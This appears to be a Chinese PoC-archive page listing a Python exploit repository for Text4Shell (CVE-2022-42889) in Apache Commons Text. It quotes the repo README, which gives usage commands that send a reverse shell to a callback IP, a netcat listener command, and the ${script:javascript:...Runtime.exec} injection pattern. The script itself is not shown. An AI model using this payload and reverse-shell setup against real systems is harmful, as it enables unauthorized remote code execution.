POC详情: 027ed40a4f2a44216e3ad5389243906afb1d37cf

来源
关联漏洞
标题: Apache Commons Text 代码注入漏洞 (CVE-2022-42889)
描述:Apache Commons Text是美国阿帕奇(Apache)基金会的一个专注于字符串算法的库。 Apache Commons Text 1.5至1.9版本存在安全漏洞,该漏洞源于默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器,可能容易受到远程代码执行或与远程服务器的无意接触的影响。
描述
A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions < 1.10.
介绍
# text4shell-exploit
A custom Python-based proof-of-concept (PoC) exploit targeting Text4Shell (CVE-2022-42889), a critical remote code execution vulnerability in Apache Commons Text versions &lt; 1.10.
This exploit targets vulnerable Java applications that use the `StringSubstitutor` class with interpolation enabled, allowing injection of `${script:...}` expressions to execute arbitrary system commands.

In this PoC, exploitation is demonstrated via the `data` query parameter; however, the vulnerable parameter name may vary depending on the implementation. Users should adapt the payload and request path accordingly based on the target application's logic.

 **Disclaimer**: This exploit is provided for educational and authorized penetration testing purposes only. Use responsibly and at your own risk.

##  Description
This is a custom Python3 exploit for the Apache Commons Text vulnerability known as **Text4Shell** (CVE-2022-42889). It allows Remote Code Execution (RCE) via insecure interpolators when user input is dynamically evaluated by `StringSubstitutor`.

Tested against:
- Apache Commons Text < 1.10.0
- Java applications using `${script:...}` interpolation from untrusted input

##  Usage

```bash
python3 text4shell.py <target_ip> <callback_ip> <callback_port>
```

## Example 
```bash
python3 text4shell.py 127.0.0.1 192.168.1.2 4444
```

## Make sure to set up a lsitener on your attacking machine: 
```bash
nc -nlvp 4444
```

## Payload Logic
The script injects:
```bash
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}
```
The reverse shell is sent via `/data` parameter using a POST request.
文件快照

[4.0K] /data/pocs/027ed40a4f2a44216e3ad5389243906afb1d37cf ├── [1.0K] LICENSE ├── [1.6K] README.md └── [1.2K] text4shell.py 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。